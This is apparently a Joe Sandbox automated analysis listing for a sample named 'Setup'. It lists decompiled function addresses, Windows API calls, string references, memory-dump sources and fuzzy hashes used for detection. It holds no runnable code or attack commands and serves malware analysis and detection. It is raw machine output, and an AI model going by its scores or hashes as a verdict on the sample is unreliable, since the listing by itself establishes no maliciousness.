String ID: IDS_DOWNLOAD_PROGRESS_STATUS$IDS_DOWNLOAD_SUCCESS$IDS_FILE_VERIFICATION_PROGRESS_STATUS$IDS_FILE_VERIFICATION_SUCCESS
API String ID: 431132790-1342741052
Opcode ID: 1f7687705116cbc358faad25db982f0f5bd17bdb3f308f2dc57dff6ac7d10d04
Instruction ID: c6f4fc87c1267d00e05ddbf2c28e8348af9dfec7b5e12054d7884892d66d9773
Opcode Fuzzy Hash: 1f7687705116cbc358faad25db982f0f5bd17bdb3f308f2dc57dff6ac7d10d04
Instruction Fuzzy Hash: F90181F28083458BFB20CBB8C844BAA77B0EF56F28F198959E1518B395C775D998CF41

Function 6C5EA847 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000001,?), ref: 6C5EA865
RegQueryValueExA.ADVAPI32(?,ServerAdminUI,00000000,00000000,00000000,?), ref: 6C5EA88A
RegCloseKey.ADVAPI32(?), ref: 6C5EA893

Strings

ServerAdminUI, xrefs: 6C5EA87B
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 6C5EA85B

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: ServerAdminUI$Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
API String ID: 3677997916-377279143
Opcode ID: e5f818ad8478762e7bcb6f42d7b17d3b52ed0d7c123e5c49c204d912b63b191d
Instruction ID: 23a018aa3e20a1a92fa7fdd12d5c796b13494a74ba1175782c2e7e84447a0c23
Opcode Fuzzy Hash: e5f818ad8478762e7bcb6f42d7b17d3b52ed0d7c123e5c49c204d912b63b191d
Instruction Fuzzy Hash: 2FF01C75A00208FFEB10DBA0CD49FCE7BB9AB08715F110051B604F1090D7B0AA4ADB59

Function 6C5DE0FF Relevance: 7.6, APIs: 5, Instructions: 150timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DC33D: GetLastError.KERNEL32(6C5F0088,?,6C5DC203,?,?,?,00000000), ref: 6C5DC343
Part of subcall function 6C5DC33D: SetLastError.KERNEL32(00000000,?,6C5DC203,?,?,?,00000000), ref: 6C5DC354

GetLastError.KERNEL32(?,?,?,?,6C5DC008,00000000,?,00000000,00000000,?,?,?,PUT,00000000,?,Function_00007AF4), ref: 6C5E378C
GetLastError.KERNEL32(?,?,?,?,6C5DC008,00000000), ref: 6C5E3824
SystemTimeToFileTime.KERNEL32(?,6C5DC008,?,?,?,?,6C5DC008,00000000), ref: 6C5E3852
GetLastError.KERNEL32(?,?,?,?,6C5DC008,00000000), ref: 6C5E386E

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ErrorLast$Time$FileSystem
String ID:
API String ID: 3446928799-0
Opcode ID: cc57c9bd6b3f410b2f32b7cbb2fda93d4f2fb3b6c05aa60cecb35e210d767f1f
Instruction ID: 904d615bff2fe260c96351f2c2826b0744918644a69f5029b88c5192322c19df
Opcode Fuzzy Hash: cc57c9bd6b3f410b2f32b7cbb2fda93d4f2fb3b6c05aa60cecb35e210d767f1f
Instruction Fuzzy Hash: B851CF71601344AFDB05DFA9CC80FAA7BF9FB89388F16045AE125D7A60D770E944CB68

Function 6394D086 Relevance: 7.6, APIs: 5, Instructions: 88memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6394D08D
VariantInit.OLEAUT32(?), ref: 6394D09E
SysFreeString.OLEAUT32(?), ref: 6394D0D4
VariantClear.OLEAUT32(?), ref: 6394D0F7
SysAllocString.OLEAUT32(?), ref: 6394D119

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: StringVariant$AllocClearFreeH_prolog3Init
String ID:
API String ID: 1692324188-0
Opcode ID: 1ae77846e8f2e97f09100df955e8716baee7a3b2fe5a076f67e4a31d55e49f36
Instruction ID: b05ccbfed3a00881285aacaa2db5c459a93b860ed05e66a10e8a5723131bbd15
Opcode Fuzzy Hash: 1ae77846e8f2e97f09100df955e8716baee7a3b2fe5a076f67e4a31d55e49f36
Instruction Fuzzy Hash: 68318D75900208EFDF14EFA4C848A9E7BB8EF89754F188599F865EB242D735DA40CF60

Function 6C5E6513 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 87COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5E6538
GetLastError.KERNEL32 ref: 6C5E659B
SetLastError.KERNEL32(00000000,80000001,Software\Microsoft\SQMClient,00000000,UserId,?), ref: 6C5E65FA

Part of subcall function 6C5E5F11: EtwTraceMessage.NTDLL ref: 6C5E5F26

Strings

Software\Microsoft\SQMClient, xrefs: 6C5E65BA
UserId, xrefs: 6C5E65B4

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ErrorLast$MessageTracememset
String ID: Software\Microsoft\SQMClient$UserId
API String ID: 1733364027-3032788761
Opcode ID: 0dac37c1b34d8476a7df75d268a441ddd2324cb8e665dc63d4c0919454881ac6
Instruction ID: eaaa5ffbc04ecea3eb74decb646567b4bb8b8f46e66579e56a7d26df0e67f1f2
Opcode Fuzzy Hash: 0dac37c1b34d8476a7df75d268a441ddd2324cb8e665dc63d4c0919454881ac6
Instruction Fuzzy Hash: A3213571304398EBC700DB958C84F9B37B9AB89398F95002AF725DB952CB70DD88CB14

Function 6396269C Relevance: 7.6, APIs: 5, Instructions: 87windowCOMMONLIBRARYCODE

Download Yara Rule

APIs

DestroyPropertySheetPage.COMCTL32(?,00000000), ref: 639626C1
RaiseException.KERNEL32(C000008C,00000001,00000000,00000000,00000000), ref: 639626FE
CreatePropertySheetPageW.COMCTL32(?,00000000,00000000), ref: 63962716
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 63962735
DestroyPropertySheetPage.COMCTL32(00000000), ref: 63962751

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: PagePropertySheet$Destroy$CreateExceptionMessageRaiseSend
String ID:
API String ID: 1284076499-0
Opcode ID: 1646253b2fee7db8aae6c3666431e60901ad903100773dd33c8c76b55201ef61
Instruction ID: 217dfe178c4feed40bf3d613504d7f07101ef6be348a6acfcbd942e6a8bce7eb
Opcode Fuzzy Hash: 1646253b2fee7db8aae6c3666431e60901ad903100773dd33c8c76b55201ef61
Instruction Fuzzy Hash: 8E219F72601754AFEB20AF5ED8C4D4BB7F9AB87BA4715442AF985E7600CB70EC418F60

Function 6C5D2671 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C5F0168,00000FA0,?,?,6C5D19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6C5F0180,00000000,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5D268E
GetLastError.KERNEL32(?,?,6C5D19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6C5F0180,00000000,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5DF520

Part of subcall function 6C5D17EB: malloc.MSVCRT ref: 6C5D17F6

SetLastError.KERNEL32(00000000,?,?,6C5D19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6C5F0180,00000000,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5D26D1

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ErrorLast$CountCriticalInitializeSectionSpinmalloc
String ID:
API String ID: 2914686227-0
Opcode ID: 4e951c6a618e28dfb9bfb00a30179014ffded6db3c599ced6de1d267099213f3
Instruction ID: 2284cdf09284f43cbb1f148681aed718d391c1d7e5e30a5a67f106a50f6eea08
Opcode Fuzzy Hash: 4e951c6a618e28dfb9bfb00a30179014ffded6db3c599ced6de1d267099213f3
Instruction Fuzzy Hash: 8B219330351340AFEB49DF29EC44F563AF8AB86359F970555F125CAAA2C770D885CF18

Function 6C5DBCC7 Relevance: 7.6, APIs: 5, Instructions: 70libraryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5DBCF7
GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?,6C5D0000), ref: 6C5DBD0C
LoadLibraryW.KERNEL32(?,?,?,6C5D0000), ref: 6C5DBD21
GetLastError.KERNEL32(?,?,6C5D0000), ref: 6C5DF94F
GetLastError.KERNEL32(?,?,6C5D0000), ref: 6C5DF98C

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ErrorLast$FileLibraryLoadModuleNamememset
String ID:
API String ID: 2354241510-0
Opcode ID: c7443d200021e62d9d58b04d102807852df7ab421cafa1b21b06c76d0c2fcd4a
Instruction ID: 17c2839d3b17c81c1096dc040563ddd23ace5fda8d339364fc483d3402f84663
Opcode Fuzzy Hash: c7443d200021e62d9d58b04d102807852df7ab421cafa1b21b06c76d0c2fcd4a
Instruction Fuzzy Hash: 7221DE71A41344ABCB00EF99CC48F9B3BFEAB89314F520195E525C7652C730E988CF68

Function 6395C1B2 Relevance: 7.6, APIs: 5, Instructions: 70windowCOMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,?), ref: 6395C1C2
GetDlgItem.USER32(?,00000065), ref: 6395C1CD
SendMessageW.USER32(?,00000180,00000000,?), ref: 6395C1F7
GetParent.USER32(?), ref: 6395C206
RaiseException.KERNEL32(C000008C,00000001,00000000,00000000,?,?,?,6395C10E,00000110), ref: 6395C22D

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ExceptionItemMessageParentRaiseSendTextWindow
String ID:
API String ID: 3396959766-0
Opcode ID: 82625cb1ba374030e7598c42025de069df9d76abeedf4538fcf63cc5591278ad
Instruction ID: c94213a8ef8fef3a267f386683c9914411382fec196ef0c7fe5649804c546681
Opcode Fuzzy Hash: 82625cb1ba374030e7598c42025de069df9d76abeedf4538fcf63cc5591278ad
Instruction Fuzzy Hash: 9211E331904304BFD721EFA5DC84D5BBBE9EF4ABA8B104429F546C6520DB71E861CF60

Function 6395CB21 Relevance: 7.6, APIs: 5, Instructions: 56windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6395CB28
DestroyIcon.USER32(?,00000004), ref: 6395CB50
DestroyIcon.USER32(?,00000004), ref: 6395CB5D
DestroyIcon.USER32(?,00000004), ref: 6395CB6A
DestroyIcon.USER32(?,00000004), ref: 6395CB77

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: DestroyIcon$H_prolog3
String ID:
API String ID: 1886938828-0
Opcode ID: 750ca209e26651086657919455be3f9a6c2fda48d1b171175055ec1d4aa040c2
Instruction ID: 8e462afd6e0a52b0b423bc32b2a4f3a6ae711582cf57da6a3505ca24d14a264e
Opcode Fuzzy Hash: 750ca209e26651086657919455be3f9a6c2fda48d1b171175055ec1d4aa040c2
Instruction Fuzzy Hash: 0F115B70B00706ABEB14DF74C944B9AB7BCBF11B68F040619B528D7281CB74E960CFA1

Function 639603F5 Relevance: 7.6, APIs: 5, Instructions: 50windowCOMMONLIBRARYCODE

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,00000064,000004FF), ref: 63960415
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 6396042B
TranslateMessage.USER32(?), ref: 63960435
DispatchMessageW.USER32(?), ref: 6396043F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 6396044E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsTranslateWait
String ID:
API String ID: 2015114452-0
Opcode ID: d82c0db18feb3e347e39beb79bca041cd785a076aa64f2e81fa06f584a186b15
Instruction ID: 9404b134be5dca0310dcd51cf40793baa22303602b895408f124e36f2ecf7be3
Opcode Fuzzy Hash: d82c0db18feb3e347e39beb79bca041cd785a076aa64f2e81fa06f584a186b15
Instruction Fuzzy Hash: FF017572806229BBDF20A6E18C48DDF7A7CEF477A4F040115F611E6180E674D115CAB0

Function 6C5D256E Relevance: 7.5, APIs: 5, Instructions: 44timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 6C5E4788
GetCurrentProcessId.KERNEL32 ref: 6C5E4794
GetCurrentThreadId.KERNEL32 ref: 6C5E479C
GetTickCount.KERNEL32 ref: 6C5E47A4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5E47B0

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: d2ce4d1d4aafe385bb4d7c934168c0b9dfb31bc228f5e316c95f4b74cad54e6b
Instruction ID: 79b44dff11d330707cabf245e9621970115b845926f33cff5c940e0f83e3d5b0
Opcode Fuzzy Hash: d2ce4d1d4aafe385bb4d7c934168c0b9dfb31bc228f5e316c95f4b74cad54e6b
Instruction Fuzzy Hash: 3701ED76E002249BCF119BF9DC48A9AB7F8FB4E255F974955D811E7104D730A9408F88

Function 6394C280 Relevance: 7.5, APIs: 5, Instructions: 41windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6394C287

Part of subcall function 6394C224: __EH_prolog3.LIBCMT ref: 6394C22B

OutputDebugStringW.KERNEL32(?,?,?,00000008,6394C856), ref: 6394C2A8

Part of subcall function 6396807A: SysFreeString.OLEAUT32(00000000), ref: 63968087
Part of subcall function 6396807A: SysAllocString.OLEAUT32(00000000), ref: 63968096

FormatMessageW.KERNEL32(00001100,00000000,?,00000400,?,00000000,00000000,?,?,00000008,6394C856), ref: 6394C2CF
OutputDebugStringW.KERNEL32(?), ref: 6394C2DC
LocalFree.KERNEL32(?,?), ref: 6394C2ED

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: String$DebugFreeH_prolog3Output$AllocFormatLocalMessage
String ID:
API String ID: 3239379132-0
Opcode ID: a3a83d05e5636f6b6df9ac55a0a98b0802feae5acf2192cc589c79ee498da7ef
Instruction ID: 959cb022d6b04331a7d7a8f4325c6bb896df6de7d13e6591f485069b874d5de5
Opcode Fuzzy Hash: a3a83d05e5636f6b6df9ac55a0a98b0802feae5acf2192cc589c79ee498da7ef
Instruction Fuzzy Hash: E7015A70D1420AEFEF14ABE0CC04AAF7A78BF16B05B104525F511B51A1DB71DA10CF20

Function 63967BEC Relevance: 7.5, APIs: 5, Instructions: 37fileCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,00000000,?,63950FC5,205ABF9D), ref: 63967BFB
DeleteFileW.KERNEL32(?,00000000,?,63950FC5,205ABF9D), ref: 63967C0E
DeleteFileW.KERNEL32(00000000,00000000,?,63950FC5,205ABF9D), ref: 63967C1E
GetLastError.KERNEL32(?,63950FC5,205ABF9D), ref: 63967C28
MoveFileW.KERNEL32(?,00000000), ref: 63967C41

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: File$Delete$CloseErrorHandleLastMove
String ID:
API String ID: 4022683281-0
Opcode ID: ac6a17239fc4e4f1f38b5103b0b37a3a6ad1335d7c780b8a132dc8db858f1fea
Instruction ID: 8f726ec3dbdee80d2b88ad49edaa6e4c0f77d9a727d6e0f8ec50a495c26a70ed
Opcode Fuzzy Hash: ac6a17239fc4e4f1f38b5103b0b37a3a6ad1335d7c780b8a132dc8db858f1fea
Instruction Fuzzy Hash: AEF0303190A2149FEB113F65C808B8A3BADDF53B9AB040425F949D5201EB39C5A08EA6

Function 6396E60F Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6396E61B

Part of subcall function 63969BE0: __getptd_noexit.LIBCMT ref: 63969BE3
Part of subcall function 63969BE0: __amsg_exit.LIBCMT ref: 63969BF0

__getptd.LIBCMT ref: 6396E632
__amsg_exit.LIBCMT ref: 6396E640
__lock.LIBCMT ref: 6396E650
__updatetlocinfoEx_nolock.LIBCMT ref: 6396E664

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 4767a5aeef15f637e83bbf81c99454771d4a54446150dce21ee93769433ddede
Instruction ID: 025aa6680902e54811d619d2b131676925d460fb9a657f475979df697dd3bd4a
Opcode Fuzzy Hash: 4767a5aeef15f637e83bbf81c99454771d4a54446150dce21ee93769433ddede
Instruction Fuzzy Hash: 5CF09032D4B720EBFB21BB788E0174E72A4AF17FA8F145109E411AB1C0CF24C940CE99

Function 6C5EB397 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 380COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 6C5EB504

Strings

\\?\, xrefs: 6C5EB441, 6C5EB446, 6C5EB492
::$DATA, xrefs: 6C5EB744
\\?\UNC\, xrefs: 6C5EB422

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: wcschr
String ID: ::$DATA$\\?\$\\?\UNC\
API String ID: 1497570035-1379090233
Opcode ID: 708d7fdbf48c63ec3293fdfa6da75fd200c3125cde27cc0101cd85e88019c8bd
Instruction ID: d7dc22e0a913087aa8f2223040e7d53fb483ad54ef8188317eb5397c04f6856a
Opcode Fuzzy Hash: 708d7fdbf48c63ec3293fdfa6da75fd200c3125cde27cc0101cd85e88019c8bd
Instruction Fuzzy Hash: 1FD1D271C01309EACF20EF56CC40A9E77B5FF4835AF548516E8659BD50E3B4DA80CB99

Function 639660A8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 233COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 639660AF

Part of subcall function 63967341: __EH_prolog3.LIBCMT ref: 63967348
Part of subcall function 63967341: GetLastError.KERNEL32 ref: 63967364

RaiseException.KERNEL32(C000008C,00000001,00000000,00000000), ref: 639662D8

Part of subcall function 6395EB56: __wcsicoll.LIBCMT ref: 6395EB74

Strings

Blocking Services, xrefs: 639662ED
No Blocking Services, xrefs: 639662C0

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$ErrorExceptionLastRaise__wcsicoll
String ID: Blocking Services$No Blocking Services
API String ID: 1137283054-2473106011
Opcode ID: 022ac152b9f52226b601f6ab0484b4fe1f53c555eebf1cc72635767c022d8b07
Instruction ID: ad94ad5527b2d80f92069b4a6120bce08e981f0c5195a5884df372347c412fb9
Opcode Fuzzy Hash: 022ac152b9f52226b601f6ab0484b4fe1f53c555eebf1cc72635767c022d8b07
Instruction Fuzzy Hash: AF916A70A0120ADFEB00CF68C984A9EB7B4FF56718F148259E855EB291D734EA55CFA0

Function 63953E14 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 233COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63953E1B

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Strings

Height, xrefs: 63953F26
Width, xrefs: 63953F34
Hide, xrefs: 63953E38

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: Height$Hide$Width
API String ID: 431132790-1313002608
Opcode ID: a8f2ef2a7fdd7ddae45a9fdb54f625e4a19b8e3b8d2bfd6b30433e5565bb7d1b
Instruction ID: d82cfb0538552d265ef9f206e5520e32686a864b77536a061f47ad9eb6de7355
